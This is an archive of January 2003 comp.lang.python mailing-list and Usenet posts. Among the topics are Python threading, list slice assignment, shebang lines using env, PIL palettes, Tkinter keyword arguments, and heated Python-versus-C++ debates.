Message-ID: <52719db8.0301072202.4040d0c2@posting.google.com>

Manuel M. Garcia <mgarcia at cole-switches.com> wrote in message news:<063n1vc467bvpuhblk198ciat7rjfroe7h at 4ax.com>...
> On 6 Jan 2003 21:30:24 -0800, judoscript at hotmail.com (James Huang)
> wrote:
> (edit)
> >Have you ever thought about scripting more areas, such
> >as SQL, XML, EJB, SGML, HTTP, E-mail and GUI, the way you
> >script OS commands, all at once? Think about it!
> 
> OK, I have thought about it...
> 
> If I scripted in SQL, XML, EJB, SGML, HTTP, E-mail, GUI, and OS
> commands all at once, I think I would hurt myself. ;-)
> 
> I once rubbed my belly while patting my head... does that count?  I

Rubbing the belly? Hmmm....

Actually it may not hurt with JudoScript, like this:

  ============================================
  thread rubBelly x, y {
    if y < 0 { throwCensorException(); }
    while {
      rub(x,y);
      sleep(1000);
    }
  }
  thread patHead intensity {
    if intensity > 100 { intensity = 100; }
    while {
      pat('head', intensity);
      sleep(500);
    }
  }

  start thread rubBelly 0, 5;
  start thread patHead 10;
  ============================================

See, its good thread programming model will help you through.


> knew a guy who chewed gum and walked at the same time.  He fell down a
> stairwell.  A lesson to us all...
> 
> Manuel



From aahz at pythoncraft.com  Mon Jan 27 10:42:20 2003
From: aahz at pythoncraft.com (Aahz)
Date: 27 Jan 2003 10:42:20 -0500
Subject: Finding info on the web (was Re: Learning to use threads.)
References: <0bFY9.9226$ZA1.2287565@twister.nyroc.rr.com> <mailman.1043539606.7602.python-list@python.org>
Message-ID: <b13k0s$hv3$1@panix2.panix.com>

[posted & e-mailed]

In article <mailman.1043539606.7602.python-list at python.org>,
Laura Creighton  <lac at strakt.com> wrote:
>
>Aahz gave a tutorial at IPC9.  His slides are here.
>http://starship.python.net/crew/aahz/IPC9/index.html

Please don't use this URL.  There's a more recent version that I gave at
OSCON 2001, and I reserve the right to update the information at any
time (most likely by creating a new page, because those pages have
historical value and should not be modified).  Just point them at the
top-level URL of http://www.pythoncraft.com/

In general, unless you double-check your URLs every time you post, you
should use a more generic URL in case the site has new information.
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

"Argue for your limitations, and sure enough they're yours."  --Richard Bach



From claird at lairds.com  Sat Jan 18 13:02:58 2003
From: claird at lairds.com (Cameron Laird)
Date: Sat, 18 Jan 2003 18:02:58 -0000
Subject: Introduction object-oriented programming
References: <b08ank$dak12@imsp212.netvigator.com> <x7iswn4qoa.fsf@guru.mired.org> <mailman.1042826159.14168.python-list@python.org>
Message-ID: <v2j5mial64f6f@corp.supernews.com>

In article <mailman.1042826159.14168.python-list at python.org>,
Laura Creighton  <lac at strakt.com> wrote:
>> "Wouter van Marle" <wouterm at spammers-unite-here.com> writes:
>> 
>> > Can anyone recommend me an introduction on object oriented programming in
>> > general, and the trick in Python? Preferrably tutorial on the web or so.
			.
			.
			.
>> It may make you want to find an Eiffel compiler.
			.
			.
			.
>See http://archive.eiffel.com/doc/manuals/technology/oosc/page.html
>for Table of Contents, Preface, and one Sample chapter.
>
>Laura Creighton
>

I like repeating recommendations of *OOSC*.

One substantive point:  Mr. van Marle might not realize that among
the useful Eiffel compilers, some are available for downloading at
no charge <URL: http://www.faqs.org/faqs/eiffel-faq/ >.
-- 

Cameron Laird <Cameron at Lairds.com>
Business:  http://www.Phaseit.net
Personal:  http://phaseit.net/claird/home.html



From inyeol.lee at siimage.com  Thu Jan 30 19:13:38 2003
From: inyeol.lee at siimage.com (Inyeol Lee)
Date: Thu, 30 Jan 2003 16:13:38 -0800
Subject: moving a file in a filesystem-independent way?
In-Reply-To: <oqu1fqxk6o.fsf@alcyon.progiciels-bpi.ca>
References: <b1ccej$1tc$1@peabody.colorado.edu> <20030130234236.GB29788@siliconimage.com> <oqu1fqxk6o.fsf@alcyon.progiciels-bpi.ca>
Message-ID: <20030131001338.GC29788@siliconimage.com>

On Thu, Jan 30, 2003 at 07:00:15PM -0500, Francois Pinard wrote:
> [Inyeol Lee]
> 
> > > [...] os.rename(A,B) [...]
> 
> > shutil.move(src, dst), new in 2.3
> 
> Just curious, will it work with directories too?  And with whole directory
> hierarchies when on different filesystems?  I think `mv' has been modified
> recently (all being relative of course!), so it can do the latter thing.

Yes, according to the 2.3a1 library reference;
"""
move(src, dst)
    Recursively move a file or directory to another location. 

    If the destination is on our current filesystem, then simply use rename.
    Otherwise, copy src to the dst and then remove src. 

    New in version 2.3. 
"""

Inyeol...




From claird at lairds.com  Tue Jan 28 12:39:51 2003
From: claird at lairds.com (Cameron Laird)
Date: Tue, 28 Jan 2003 17:39:51 -0000
Subject: Graphing packages
Message-ID: <v3dg37837edd0@corp.supernews.com>

I post this on behalf of Dave Feustel <dfeustel at mindspring.com>:
> I suddenly have a need to plot graphs of algebraic functions.
> Is there a such a python graphics package that runs on Openbsd?
> (I've looked but haven't found anything yet)

I have several comments.  Dave's usual NNTP access is broken, so
he feels blocked from clp participation.  This makes me think
he's not aware of the alternatives that appear in, for example,
<URL: http://www.python.org/cgi-bin/moinmoin/CompLangPython >.
Folks, if you've got e-mail at all, you can join in clp.

I'll leave the substantive question to others.  I know there is
an abundance of ways (Graphite, biggles, GD, Gnumeric, BLT,
scipy.pl, ..) to do function-graphing with Python, essentially
all of which are readily available under OpenBSD (a fine platform,
by the way; I'd be happy if more people used it).  Dave, my first
question would be about whether you have a preference between
Tkinter, wxPython, PyQt, Web applications, ...
-- 

Cameron Laird <Cameron at Lairds.com>
Business:  http://www.Phaseit.net
Personal:  http://phaseit.net/claird/home.html



From anamax at earthlink.net  Fri Jan 31 00:40:40 2003
From: anamax at earthlink.net (Andy Freeman)
Date: 30 Jan 2003 21:40:40 -0800
Subject: Python vs. C++ Builder - speed of development
References: <3e36d04e_2@news.vo.lu> <mailman.1043793662.28129.python-list@python.org> <CpFZ9.1212$wd2.100989@newsread2.prod.itd.earthlink.net> <gWOZ9.134330$AA2.5582397@news2.tin.it> <Y%1_9.3865$wd2.302595@newsread2.prod.itd.earthlink.net> <bK6_9.140709$AA2.5799087@news2.tin.it> <a2h_9.5383$Wu1.411649@newsread1.prod.itd.earthlink.net>
Message-ID: <8bbd9ac3.0301302140.6938685c@posting.google.com>

"Brandon Van Every" <vanevery at 3DProgrammer.com> wrote in message news:<a2h_9.5383$Wu1.411649 at newsread1.prod.itd.earthlink.net>...
> My contention is, if your approach is incremental and architectural, Python
> does not offer any amazing payoff over C++.  Python only gives you a big
> value add when you're trying to be more spontaneous.

The point has been clear for some time.  The problem is that the supporting
evidence seems to be "I think".  Meanwhile, the folks saying that the point
is wrong have actual relevant experience.

Which should I prefer - theory or practice?  Yes, theory can be better,
but not when the theory doesn't explain the practice.

For example "You only think that you're 4x as productive because ...".

-andy



From exarkun at intarweb.us  Thu Jan 16 15:16:47 2003
From: exarkun at intarweb.us (Jp Calderone)
Date: Thu, 16 Jan 2003 15:16:47 -0500
Subject: Declaring A Function Argument As Global?
In-Reply-To: <8r070b.sfc2.ln@boundary.tundraware.com>
References: <9fp60b.86b2.ln@boundary.tundraware.com> <mailman.1042738646.3193.python-list@python.org> <1pt60b.atb2.ln@boundary.tundraware.com> <mailman.1042743511.31058.python-list@python.org> <8r070b.sfc2.ln@boundary.tundraware.com>
Message-ID: <20030116201647.GB17195@meson.dyndns.org>

On Thu, Jan 16, 2003 at 07:30:07PM +0000, Tim Daneliuk wrote:
> Skip Montanaro wrote:
> >    >> def lhandler(list):
> >    >>     list[:] = list[1:]
> >
> >    Tim> 'Works like a charm.  But why?
> >
> >list[:] on the left-hand side of an assignment assigns to the entire list.
> >It's effectively 
> >
> >    list[0:len(list)] = rhs
> 
> The slicing part I understand well.  What I do not grasp is why using
> this construct on the lhs gives you access to the actual list
> in question, but list = list[1:] refers to the local variable (formal
> parameter) 'list'.  It is the semantics of scope that is confusing me
> here, not the list operation...

  It might be helpful to look at it in terms of the special methods that
this is equivalent to.

  list[a:b] = x

is the same as

  list.__setslice__(a, b, x)

or (because __setslice__ is deprecated) in 2.3:

  list.__setitem__(slice(a, b), x)


  Hopefully it is obvious from this example that no names are being rebound,
the list is just being mutated in place.

  Jp

-- 
There are 10 kinds of people: those who understand binary and those who do
not.
--
 12:00am up 31 days, 9:48, 2 users, load average: 0.07, 0.09, 0.04
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 196 bytes
Desc: not available
URL: <http://mail.python.org/pipermail/python-list/attachments/20030116/0f25cacb/attachment.sig>

From max at alcyone.com  Mon Jan 13 20:21:39 2003
From: max at alcyone.com (Erik Max Francis)
Date: Mon, 13 Jan 2003 17:21:39 -0800
Subject: Is it advisable to replace 'self' with '_' or 'I' or something  
 shorter?
References: <f57664b9.0301110959.5b1439da@posting.google.com> <uhecdj36t.fsf@dfan.org> <3E221453.AB1B98DD@alcyone.com> <uadi5xcys.fsf@dfan.org>
Message-ID: <3E236623.FDFFB4D0@alcyone.com>

Dan Schmidt wrote:

> I'm using python-mode 4.6 from
> <http://www.python.org/emacs/python-mode/>
> and it does not appear to highlight 'self'.  Is there a newer version
> available, or am I missing something?

I'm using version 4.28 and it does.  Weird.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ Describe a circle, stroke its back and it turns vicious.
\__/ Ionesco
    The laws list / http://www.alcyone.com/max/physics/laws/
 Laws, rules, principles, effects, paradoxes, etc. in physics.



From nagylzs at freemail.hu  Wed Jan 29 11:57:01 2003
From: nagylzs at freemail.hu (=?ISO-8859-1?Q?Nagy_L=E1szl=F3?=)
Date: Wed, 29 Jan 2003 17:57:01 +0100
Subject: Generating Unique Keys
References: <mailman.1043710965.5817.python-list@python.org> <7xy956jf5j.fsf@ruckus.brouhaha.com> <47e891f1.0301281237.16079102@posting.google.com> <7xvg09c8bi.fsf@ruckus.brouhaha.com> <3E36F43E.1090803@freemail.hu> <t1wvg089gey.fsf@kermit.wreck.org> <mailman.1043853713.17341.python-list@python.org> <3e37ff29$0$26173$a1866201@newsreader.visi.com>
Message-ID: <3E3807DD.7010905@freemail.hu>


Grant Edwards wrote:

>In article <mailman.1043853713.17341.python-list at python.org>, Nagy L?szl? wrote:
>
>  
>
>>>Sorry to be off topic, but why especially?  At least on Linux,
>>>/dev/random is determined by various hardware factors chosen for the
>>>difficulty to guess them (i.e. the float between keyboard controller
>>>clock and the CPU clock generator) and then passed through a one way
>>>hash function. =20
>>>      
>>>
>>Isn't it used for initializing only?
>>    
>>
>
>No.  Reading /dev/random returns random bits from an entropy
>"pool" generated by various HW events.  When the pool runs out,
>the read will block until more "randomness" happens -- which
>can be rather inconvenient when you're running a simulation or
>test that's using lots of random values.
>
>  
>
This is a wonderful place to learn from. :-)

  Laci 1.0






From jbperez808 at yahoo.com  Fri Jan 10 21:20:55 2003
From: jbperez808 at yahoo.com (Jonathan P.)
Date: 10 Jan 2003 18:20:55 -0800
Subject: optimum way of assigning to a string slice
Message-ID: <f57664b9.0301101820.283596a@posting.google.com>

I'm creating a text widget input control in the form of a 
class, called EditField, and it has, as a class member, a string
EditField.content, containing the current input.  Everytime 
the user types in a new character, I have to modify EditField.content 
to reflect the letter the user typed in.

The clearest way I can think of doing this would be something like:

self.content[cursorpos:cursorpos+1]=keypress

Of course, this won't work because of string immutability.
Thus the workaround would be to create a newstring:

self.content=self.content[0:cursorpos]+keypress+self.content[cursorpos+1:]

Is there a better, more efficent way?



From rganesan at myrealbox.com  Thu Jan 30 05:02:34 2003
From: rganesan at myrealbox.com (Ganesan R)
Date: 30 Jan 2003 15:32:34 +0530
Subject: Python vs. C++ Builder - speed of development
References: <mailman.1043904061.3760.python-list@python.org> <nM5_9.4304$wd2.333480@newsread2.prod.itd.earthlink.net>
Message-ID: <ouwukn6jlx.fsf@andlx-anamika.cisco.com>

>>>>> "Brandon" == Brandon Van Every <vanevery at 3DProgrammer.com> writes:

> Simon Wittber (Maptek) wrote:
>> Hmmmmm...
>> 
>>> Brandon Van Every wrote:
>>>> I see no primary purpose for Python's existence other than as a
>>>> glue language.
>> 
>> An obvious troll. Appears to be a successful one too!

> A person of no use because he writes off anything aberrant as "troll."
> Goodbye!

> Man, I am so sick of Usenet.  Why do I bother?  Oh, I remember now... my
> eyes are glazing over after all the C++ code I've been writing.  I'm
> laboring under the delusion that this "break" somehow helps.

Come on, what did you expect? Every one to applaud you? I have programmed in
C++ for over five years and in Java for the last year or two. I am a pretty
good Perl programmer too.  I am recently into python and beginning to
appreciate the language a lot; especially in relation to Java.  IMHO your
comment deserves the flames it got.

Ganesan

-- 
Ganesan R



From dyoo at hkn.eecs.berkeley.edu  Sat Jan 11 17:30:17 2003
From: dyoo at hkn.eecs.berkeley.edu (Daniel Yoo)
Date: Sat, 11 Jan 2003 22:30:17 +0000 (UTC)
Subject: Having a __stdlib__ namespace?   [__std__ package]
References: <avl3bi$v9i$1@agate.berkeley.edu> <avlunc$15h5$1@agate.berkeley.edu> <mailman.1042189529.2441.python-list@python.org> <just-CBB349.12390610012003@news1.news.xs4all.nl> <bZJT9.3642$Dq.363773@newsread2.prod.itd.earthlink.net>
Message-ID: <avq5tp$27lm$1@agate.berkeley.edu>

Terry Hancock <hancock at anansispaceworks.com> wrote:
: Just wrote:
:> In article <mailman.1042189529.2441.python-list at python.org>,
:>  Lulu of the Lotus-Eaters <mertz at gnosis.cx> wrote:
:> 
:>> It doesn't come "out of the box" this way, but you could easily create
:>> your own directory on the import path that was a link to the actual
:>> library path.  And you could name it something like 'std' or '__std__'.
:>> Once such a link was added, the OP's prefered import form will work.
:> 
:> Or you can add a regular dir named "std" somewhere, which contains an
:> __init__.py like this:
:> 
:> __path__ = [<path-to-std-lib>]

: Okay -- that should be portable across all platforms, so it's better than 
: the symlink.  That's the way to do it -- no PEP needed (unless maybe to 
: include this in the standard distribution).. :-D


I've packaged Just's suggestions into a distutil'ed package called
__std__, and have placed it here:

    http://hkn.eecs.berkeley.edu/~dyoo/python/__std__/


Thanks again for all your help!



From peter at engcorp.com  Sat Jan 11 22:24:23 2003
From: peter at engcorp.com (Peter Hansen)
Date: Sat, 11 Jan 2003 22:24:23 -0500
Subject: Elegant copy-by-value
References: <87n0m7urz4.fsf@gvdnet.dk> <3E20CA0F.E2C07F4E@engcorp.com> <87k7hbul7w.fsf@gvdnet.dk>
Message-ID: <3E20DFE7.FD196BD3@engcorp.com>

Martin Christensen wrote:
> 
> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
> 
> >>>>> "Peter" == Peter Hansen <peter at engcorp.com> writes:
> 
> Peter> Martin Christensen wrote:
> >> For a long time now I've been using copy() or deepcopy(), depending
> >> on the circumstances, from the copy module. Is there no more simple
> >> and elegant way of doing this?
> [...]
> Peter> Have you looked at copy.py?
> 
> Have you looked at the post you replied to? :-)

If you mean, did I misunderstand you, then no, I believe not.

My point was this: if the existing copy.py is that complicated,
but there were a much simpler way, don't you think it would 
already have been implemented?  Or, put another way, having
seen what is in copy.py, I personally do not consider deepcopy
to be "simple" and could well believe there is no chance of
a much simpler, more elegant approach.  The doc-comments in that
module make pretty clear what problems you face if you want
to make deep copy actually work.

I'm actually surprised you have a problem with it.  I've had to
resort to that module only once so far, in two years.  I suppose
if you really have to use it often, it might become a bit of 
an annoyance having to import the module.  Maybe the objects
you are copying can do that for you, and expose a copy method
which makes it appear simple and elegant?

> Peter> If you haven't, take a peek now and then come back and try the
> Peter> question again. ;-)
> 
> That was quick, wasn't it?

It was...

-Peter



From max at alcyone.com  Thu Jan  9 19:14:41 2003
From: max at alcyone.com (Erik Max Francis)
Date: Thu, 09 Jan 2003 16:14:41 -0800
Subject: SV: PIL - gif image
References: <3e1c4d71@newsflash.abo.fi> <3E1CD6FA.B66F4C09@alcyone.com> <3e1daded$1@newsflash.abo.fi>
Message-ID: <3E1E1071.F458EC76@alcyone.com>

Simon Dahlbacka wrote:

> yes, it was just how to get access to what was in the .palette
> attribute I
> wasn't sure about.. but anyhow, I did like this..
> 
>     def indextoRGB(self,im,index):
>         return (ord(im.palette.data[3*index]),
>         ord(im.palette.data[3*index+1]),
>         ord(im.palette.data[3*index+2]))
> 
> ..but maybe there's an easier way?

To be honest, I'm not sure.  The PIL Handbook seems to be lacking
documentation on the ImagePalette class.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ I'm paranoid.  But am I paranoid enough?
\__/ Louis Wu
    Fauxident / http://www.alcyone.com/pyos/fauxident/
 A "faux" ident daemon in Python.



From aleax at aleax.it  Fri Jan 31 17:16:37 2003
From: aleax at aleax.it (Alex Martelli)
Date: Fri, 31 Jan 2003 22:16:37 GMT
Subject: (no subject)
References: <200301311941.h0VJf9w03290@enterprise.phyast.pitt.edu> <mailman.1044043557.28028.python-list@python.org>
Message-ID: <9BC_9.153191$AA2.6203568@news2.tin.it>

Skip Montanaro wrote:

> How about
> 
>     import __builtin__
>     try:
>         __builtin__.True
>     except AttributeError:
>         __builtin__.True = 1
>         __builtin__.False = 0
> 
> ?  (The builtin module is not plural.)

Much as I like the "better to ask permission than forgiveness" idiom in 
general, it doesn't smell right here.  What about:


import __builtin__
if not __builtin__.hasattr('True'):
    __builtin__.True = 1
if not __builtin__.hasattr('False'):
    __builtin__.False = 0


You can omit the second if you prefer, to get exactly the same
logic as in your snippet -- that way it's even more concise
(but, I dunno, I like the symmetry here).

The suggestion of using e.g 1==1 instead of 1 as the value
for True, which I've seen elsewhere in the thread, seems
a bit, well, "over-cute" to me -- in Python 2.3, where 1==1
is not exactly the same thing as 1, True IS built-in anyway...


Alex




From tecargile at hotmail.com  Thu Jan  9 22:29:15 2003
From: tecargile at hotmail.com (Tim Cargile)
Date: 9 Jan 2003 19:29:15 -0800
Subject: Use /usr/bin/env python  ... why?
References: <8b67aef5.0301091244.1c6caec1@posting.google.com> <wVlT9.30621$u9.8151@fe08>
Message-ID: <8b67aef5.0301091929.114f1f07@posting.google.com>

"Steve Holden" <sholden at holdenweb.com> wrote in message news:<wVlT9.30621$u9.8151 at fe08>...
> Tim Cargile" <tecargile at hotmail.com> wrote ...
> > There was a previous thread on this that referenced a python.org FAQ
> > that I thought was incomplete.  As a casual observer I would
> > like to submit the following - in the order of most to least efficient
> > and least to most flexible (perhaps):
> >
> > Use '#!/usr/bin/python' when:
> >
> >       The location of 'python' can be or is guaranteed to
> >       be '/usr/bin' AND one one wants the least execution
> >       overhead AND does not wish to alter the 'python' runtine
> >       environment. Or when PATH searching is not possible
> >       for some reason (restricted environment - cron job).
> >
> > Use '#!/python' when:
> >
> Don't think you want a leading slash in there, old chap. Very few people
> actually put the interpreter in the root directory (though of course we all
> know that's where it belongs :-)

Yes.  A Pythonian slip I guess.  And '#!python appears to work on my
Cygwin environment ONLY when the module is executed through two layers
of bash.  The final execution shell does an eval exec.  I does not work
on SUN either so I guess any attempt at '#command' is not tenable.

> 
> >       The location of 'python' cannot be guaranteed to be 'usr/bin'
> >       (or any other locaton) AND one one is willing to incur the
> >       overhead of a PATH search AND a PATH search is possible
> >       AND does not wish to alter the 'python' runtine environment.
> >       I have tested this under Cygin with both 'ksh' and 'python'
> >       and it works as one would expect.
> >
> That's as may be, but (for example) Red Hat 8.0 certainly won't have any of
> that. I get the same result whether the slash is included or not:
>
 
Again.  You are correct.  I seem to have discovered a Cygwin 'feature'.
that works only one situation. I tested '#!ksh and it works on Cygin
ONLY when the shell is executed from a parent shell.  This is similar
to the successful observed launching of the *.py module with '#!python
from a shell wrapper.  I wonder if this is true for Linux/UNIX?  

> [sholden at munger sholden]$ cat pytest
> #!python
> 
> print "Hello";
> 
> [sholden at munger sholden]$ ls -l pytest
> -rwxrwxr-x    1 sholden  sholden        26 Jan  9 16:28 pytest
> [sholden at munger sholden]$ ./pytest
> bash: ./pytest: python: bad interpreter: No such file or directory
> [sholden at munger sholden]$ python
> Python 2.2.1 (#1, Aug 30 2002, 12:15:30)
> [GCC 3.2 20020822 (Red Hat Linux Rawhide 3.2-4)] on linux2
> Type "help", "copyright", "credits" or "license" for more information.
> >>>
> 
> "python pytest" works just fine, of course.
> 
> > Use '#!/usr/bin/env python' when:
> >
> >       The location of 'env' is guaranteed to be '/usr/bin'
> >       AND when it is desired to alter the environment prior
> >       to execution of 'python' AND when one is willing to
> >       incur the overhead (not as minimal as a PATH search)
> >       of starting 'env' and one cannot guarantee the location
> >       of 'python' and one is willing to incur the (minimal)
> >       overhead of a PATH search for 'python'.  Incidentally,
> >       I could measure the performance hit (in 10ths of seconds)
> >       of running with the startup overhead of 'env' on my
> >       900 Mhz laptop under Cygwin.  On a System with 2000 users
> >       (not even my laptop) it might make a difference).
> >
> > Use '#!env python' when:
> >
> >       The location of 'env' cannot be guaranteed AND the
> >       location of 'python' cannot be guaranteed AND
> >       it is desired to alter the environment prior
> >       to execution of 'python' AND one is willing to
> >       incur the overhead (admittedly minimal) of searching
> >       the PATH for 'env' AND starting 'env' (not so minimal)
> >       and serching the PATH for 'python'.  A lot of 'AND's in this one.
> >
> I think this will have the same problems outlined above for "python".

Yes.  I do on Cygin when the *.py is launched directly from my command-line
shell.  But, as in the '#!python test, not when launched from a parent
shell.  This is through a wrapper that does an 'eval exec'.  This is
also true for shell scripts.  The '#!ksh' works when the shell is
launched from a parent shell which IS NOT the command-line shell.

> 
> > It appears as though the PRIMARY intent of the 'env' utility
> > is to alter the environment - not force a PATH search for the
> > executable.  I have never seen a "#!" line that actually altered
> > the environment.  Has anyone?
> >
> > Oh well, at least I have not seen these:
> >
> >  #!env /usr/bin/python
> >
> >    and
> >
> > #!/usr/bin/env /usr/bin/python
> >
> > These works also, but have yet to observe them in the wild.
> >
> > I'm wondering why I see so many (like 100%) '#!/usr/bin/env python'
> > lines ... in the Cygwin release, at least.  I don't believe this
> > is a religious issue.  It is simple mechanics/logic.  Computers
> > are only machines ... except for the UNIVAC ... it was God.
> >
> Mostly you see it because it's about the most likely to succeed, I suspect.
> Sure, it has problems, but then what doesn't?
>

Well put.  I've come to the same conclusion.  The '#!/usr/bin/env python'
has the greatest success potential, but with a large performance hit.
I can see why it is the convention.  I/we have yet to determine if the 'env'
command remains resident (and idle) while 'python' runs.  It appears
to because it advertises that it will return the status from the
launched utility (SUN env(1)) manual page.  Even though a 'ps' could not
see it.  I did not personally run this test (SUN platform).  I'm not
drawing any more conclusions from my Cygin experience.

Incidentally, there seems to be a problem with actually specifying
a 'name=value' argument on the she-bang line on Cygwin and, possibly,
SUN.  It hangs, but I don't have all the symptom parameters yet.
a 32-bye limit for line storage has been mentioned in other threads,
but I'm hesitant to draw any conclusions from just Cygin observations.
It would be very useful, I would think, to have much more than 32 ...
if there is such a limit.

Still, even if it doesn't (somehow) remain in wait state for the
'python' completion, I would go for the '#!/{FULLPATH}/python' approach
in situations where control of its location was guaranteed.

As I believe another contributor has noted, this can be dealt with by
automated means.  It's trivial if a formal make/release for python
modules is done.  The 'make' rules could easily apply the first line
based upon desired platform during the 'prep' phase (all target) of
the make.

I already do this with shell script makes.  The shell source modules
(*.sh / *.ksh, etc) are not even checked-in to Version Control
with the she-bang line in place because it's not as configurable
or reliable to have them hard-coded.

But the CM aspects of python source vs executables is the subject
of another thread.

Much appreciate your comments.

 
> regards



From gerhard.haering at opus-gmbh.net  Wed Jan 29 10:13:51 2003
From: gerhard.haering at opus-gmbh.net (Gerhard =?iso-8859-1?Q?H=E4ring?=)
Date: 29 Jan 2003 15:13:51 GMT
Subject: Any AIX experts out there?
References: <mailman.1043819092.30996.python-list@python.org> <v3fpig1eo2rn6c@corp.supernews.com>
Message-ID: <slrnb3frqo.1d4.gerhard.haering@haering.opus-gmbh.net>

Cameron Laird <claird at lairds.com> wrote:
> Laura Creighton  <lac at strakt.com> wrote:
>>The Snake Farm is having trouble building Python on AIX.
> [...]
> It's unlikely I can do this as volunteer work.  Is
> this for you, or are you just helping out?

Don't you know the Snake Farm? [1] :-)

It's a park of test machines on various platforms that do regular test
builds of the Python CVS. Getting this set up was one of the first
accomplishments of the PS^wPBF (Python Business Forum) [2].

IIRC the PBF was Laura's idea and she's now on the PBF board.

-- Gerhard

[1] http://www.lysator.liu.se/~sfarmer/
[2] http://www.python-in-business.org/



From steve at pSoPgAgMle.org  Thu Jan  9 13:09:42 2003
From: steve at pSoPgAgMle.org (Steve Hunt)
Date: Thu, 9 Jan 2003 18:09:42 -0000
Subject: Novel Thoughts on Scripting and Languages
References: <52719db8.0301062130.5299a0ff@posting.google.com> <3e1b2565$0$213$a1866201@newsreader.visi.com> <52719db8.0301071948.71364a03@posting.google.com> <mailman.1042039696.8976.python-list@python.org> <52719db8.0301082259.535824a4@posting.google.com>
Message-ID: <1042135695.8954.0@dyke.uk.clara.net>

> is to do things easily, intuitively, obviously, and accurately, so
> much so that when another person (with the same domain knowledge) sees
> a chunk of code, he immediately understands it without even a hint of
> reasoning (ideally).

A lot of people would take issue with that definition.  But ignoring
that, it puzzles me why you feel that introducing domain-specific
syntax *helps* with code readability.  At least with the
traditional system of fixed language syntax and domain-specific
APIs you don't have to be constantly on the lookout for new
syntax gotchas.

-- Steve






From altis at semi-retired.com  Thu Jan  2 16:26:07 2003
From: altis at semi-retired.com (Kevin Altis)
Date: Thu, 2 Jan 2003 13:26:07 -0800
Subject: Best Python Editor (under Linux)
References: <pan.2003.01.02.12.09.57.823588@contillion.com>
Message-ID: <x42R9.47$DR5.109160@news.uswest.net>

Best is always relative. Just start grabbing editors listed at

http://www.python.org/editors/

and decide for yourself. If you already have vi(m) or Emacs leanings,
primarily edit Python scripts as opposed to also using the editor for C or
Java or email, work on other platforms sometimes, mostly mouse around
instead of navigating via key sequences, etc. will all impact what is best
for you.

ka

"Johan" <johan at contillion.com> wrote in message
news:pan.2003.01.02.12.09.57.823588 at contillion.com...
> Hi,
>
> Anyone know some good Python editors under Linux?
> With good color highlightning... :)
>
> I prefer free editors (have seen WingIDE but it isnt free :(...).
>
> I hope someone know where i can find some editors :)
>
> Looking forward to your replies... :)
>
> Regards,
> Johan





From stephen.boulet at motorola.com  Tue Jan 21 14:29:36 2003
From: stephen.boulet at motorola.com (Stephen Boulet)
Date: Tue, 21 Jan 2003 13:29:36 -0600
Subject: Passing keywords to methods in tkinter
Message-ID: <3E2D9FA0.5020309@motorola.com>

I'm having trouble passing arbitrary keywords to tkinter classes.

When I call the class MyButton's init method from the App class, I get 
the error that the init method takes exactly 3 arguments, but 4 are 
provided.

Thanks for any help.

-- Stephen


########################################################
from Tkinter import *

class MyButton(Button):
	def __init__(self,parent,data,**kw):
		self.txt=data
		apply(Button.__init__, (self,parent),kw)
		
	def getValue(self):
		print self.txt

class App:
	def __init__(self,parent):
		buttonDict = {'text':'some text', 'fg':'red'}

		# problem is here
		MyButton(parent,'1',buttonDict).grid(row=1,column=0)
		MyButton(parent,'2',buttonDict).grid(row=1,column=1)
		MyButton(parent,'3',buttonDict).grid(row=1,column=2)

if __name__=='__main__':
	root=Tk()
	app=App(root)
	root.mainloop()




From vanevery at 3DProgrammer.com  Tue Jan 28 16:25:38 2003
From: vanevery at 3DProgrammer.com (Brandon Van Every)
Date: Tue, 28 Jan 2003 21:25:38 GMT
Subject: Python vs. C++ Builder - speed of development
References: <3e36d04e_2@news.vo.lu> <mailman.1043781593.6864.python-list@python.org>
Message-ID: <mzCZ9.915$wd2.80392@newsread2.prod.itd.earthlink.net>

Laura Creighton wrote:
>> Patrick:
>>
>> Is, or under which circumstances is the time which can be gained by
>> using a RAD-IDE equivalent to the time gained by using Python
>> directly?
>
> My guess is 'never'.

That's an extreme viewpoint.

> The problem with developing in C++ is not that
> you don't have an IDE that makes development faster, but that in C++
> there are so many ways to shoot yourself in the foot that you have
> to spend forever re-reading your code to make sure that it doesn't
> interact in nasty, horrible ways with other people's code.

Then don't interact with other people's code.  Polymorphize your own tree
where you know what you're doing, and keep the interface that everyone else
sees very very simple.  This is no different a problem of API speccing than
in any other language.  C++ simply provides you more ways to be stupid.
Nothing's twisting your arm to be stupid however.  You can count on other
people doing dumb things in their code, but if you're doing dumb things in
your own code, that's your fault.  It's not that hard to ignore most of the
"features" of C++ and just use basic class hierarchies to get simple things
done.

> Or you spend your life debugging other people's badly designed templates.

Then don't use other people's templates.

> Or on the phone to Borland saying that you have found another bug in
> the destructors ... or ....

Then don't use Borland products.  Granted I spend my time doing 3D graphics,
and I deliberately keep the OO aspect "lean and mean."  But I've never
called Microsoft VC++ tech support for anything.  Also I've restricted
myself to mature compiler products, I will *not* jump on the bandwagon of
whatever crap MS has just put out.  Wait for a few service packs, let others
take the lumps before you switch over.

I think, to answer the original poster's question honestly, you have to
consider the complexity of what you're undertaking.  You seem to be talking
about ridiculous, corporate-dysfunctional style complexity.  Sure, you'll
have problems there with C++.  But you will also have them with Python, for
different reasons.  For instance, no type checking.  The underlying problem
is the dysfunctional corporation.  Change instead to a small team of
programmers who know how to "fly in formation" and the problems go away for
both languages.

> I don't think that it is possible to write an IDE that makes me as
> productive in C++ as I am in Python with ed(1).

I can never take people seriously who say things like this.  You like ed
because you've invested lotsa time in ed.  If you invested similar time in
any other tool, you would like it also.  Why?  Because if you like ed,
clearly you like what you know, not what is inherently a better paradigm for
text entry.

If you had said Emacs, I would take you half-seriously.  If you said you had
a mouse-driven GUI for your Emacs, because you're not the kind of genius who
can remember every keystroke, you'd have my attention on issues of
productivity.  There's nothing wrong with keyboard shortcuts, but users
should not be required to know them.

> That is because almost
> all my time spent in C++ come from some other place than actually
> writing code from scratch.  Other people's milage may vary.

Find a different job then.  Are you getting paid well for your C++
headaches?  I wouldn't put up with it if it's as onerous as you make it
sound.  Unless the money is really really good.

--
Cheers,                         www.3DProgrammer.com
Brandon Van Every               Seattle, WA

20% of the world is real.
